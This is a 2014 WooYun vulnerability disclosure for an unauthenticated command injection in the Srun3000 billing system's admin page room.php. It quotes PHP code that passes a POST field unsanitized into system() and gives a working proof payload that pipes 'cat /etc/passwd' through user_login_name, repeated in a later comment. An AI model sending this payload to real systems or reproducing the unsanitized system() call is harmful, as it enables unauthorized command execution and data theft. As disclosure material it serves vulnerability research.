当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-052450

漏洞标题：Srun3000计费系统 命令执行2

相关厂商：srun.com

漏洞作者： Matt

提交时间：2014-03-01 20:18

修复时间：2014-05-30 20:19

公开时间：2014-05-30 20:19

漏洞类型：命令执行

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-03-01： 细节已通知厂商并且等待厂商处理中
2014-03-02： 厂商已经确认，细节仅向厂商公开
2014-03-05： 细节向第三方安全合作伙伴开放
2014-04-26： 细节向核心白帽子及相关领域专家公开
2014-05-06： 细节向普通白帽子公开
2014-05-16： 细节向实习白帽子公开
2014-05-30： 细节向公众公开

简要描述：

Srun3000计费系统 命令执行2

详细说明：

/srun3/srun/web/admin/flux_stat/room.php
<?php
header("Content-type:text/html;charset=gb2312");
require("ipt_authd_conn.php");
require("../functions/functions.php");
$debug=1;
switch($_POST["action"])//
{
	case "checkout":
		$user_login_name=$_POST["user_login_name"];
		$group_id=$_POST["user_group_id"];
		if($_POST["status"]==1)
		{			
			system("super dropuser ".$user_login_name);//命令执行~
		}

漏洞证明：

这个是用户页面里面的管理页面
不需要登录 没有验证权限
测试方法 x.com/admin/flux_room.php
POST action=checkout&user_login_name=1|cat /etc/passwd

修复方案：

你猜

版权声明：转载请注明来源 Matt@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：7

确认时间：2014-03-02 20:20

厂商回复：

该漏洞应该是用户定制服务造成

最新状态：

暂无

漏洞评价：

评论

  1. 2014-03-02 22:04 | 钱富贵 ( 路人 | Rank:6 漏洞数:2 | 掘金黑客 别人肉我)

    大家注意了，有的厂商已发礼物的名义索取联系方式，实际不发礼物，而留查水表！

  2. 2014-03-02 22:14 | Matt 认证白帽子 ( 普通白帽子 | Rank:523 漏洞数:107 | 承接代码审计 http://codescan.cn/)

    @钱富贵 卧槽 真的假的 刚深蓝问我要地址的

  3. 2014-03-03 14:48 | 钱富贵 ( 路人 | Rank:6 漏洞数:2 | 掘金黑客 别人肉我)

    @Matt 百视通就是的，说要发礼物要联系方式，却没发，直接忽略漏洞，把漏洞页面删了，然后威胁我了.现在我再也不敢留联系方式了，黑客搞钱很容易，不要因为贪礼物小便宜，而暴露自己，黑客守则还是说的有道理啊。

  4. 2014-03-03 15:35 | Matt 认证白帽子 ( 普通白帽子 | Rank:523 漏洞数:107 | 承接代码审计 http://codescan.cn/)

    @钱富贵 没事 反正我是好人 又没做过什么违法乱纪的事情 咱不怕他查水表

  5. 2014-03-11 11:09 | 残雪 ( 实习白帽子 | Rank:34 漏洞数:7 | 屌丝一枚擅长扯淡)

    我操深蓝是谁啊，怎么你们都和他很熟的样子啊

  6. 2014-03-11 11:35 | j2ck3r ( 普通白帽子 | Rank:406 漏洞数:92 | 别关注我，跟你不熟。)

    @钱富贵 你有没有对厂商做了什么事情，。不然怎么会这样

  7. 2014-03-12 10:54 | 钱富贵 ( 路人 | Rank:6 漏洞数:2 | 掘金黑客 别人肉我)

    @j2ck3r 什么意思？

  8. 2014-05-22 19:33 | 在路上 ( 普通白帽子 | Rank:193 漏洞数:13 | 在学习的路上、在成长的路上...)

    命令执行才7

  9. 2014-05-30 20:33 | Ares ( 路人 | Rank:29 漏洞数:8 | 来自幼儿园大班)

    @钱富贵 目测不可能有那样的厂商，应该是你做了什么。

  10. 2014-05-30 20:34 | 草榴社区 ( 普通白帽子 | Rank:109 漏洞数:26 | 未满18周岁,不准进入.)

    有要我联系方式,没发礼物的.

  11. 2015-08-11 16:11 | 1c3z ( 实习白帽子 | Rank:88 漏洞数:29 | 我读书少，你可别骗我！！！)

    status=1&action=checkout&user_login_name=1|cat /etc/passwd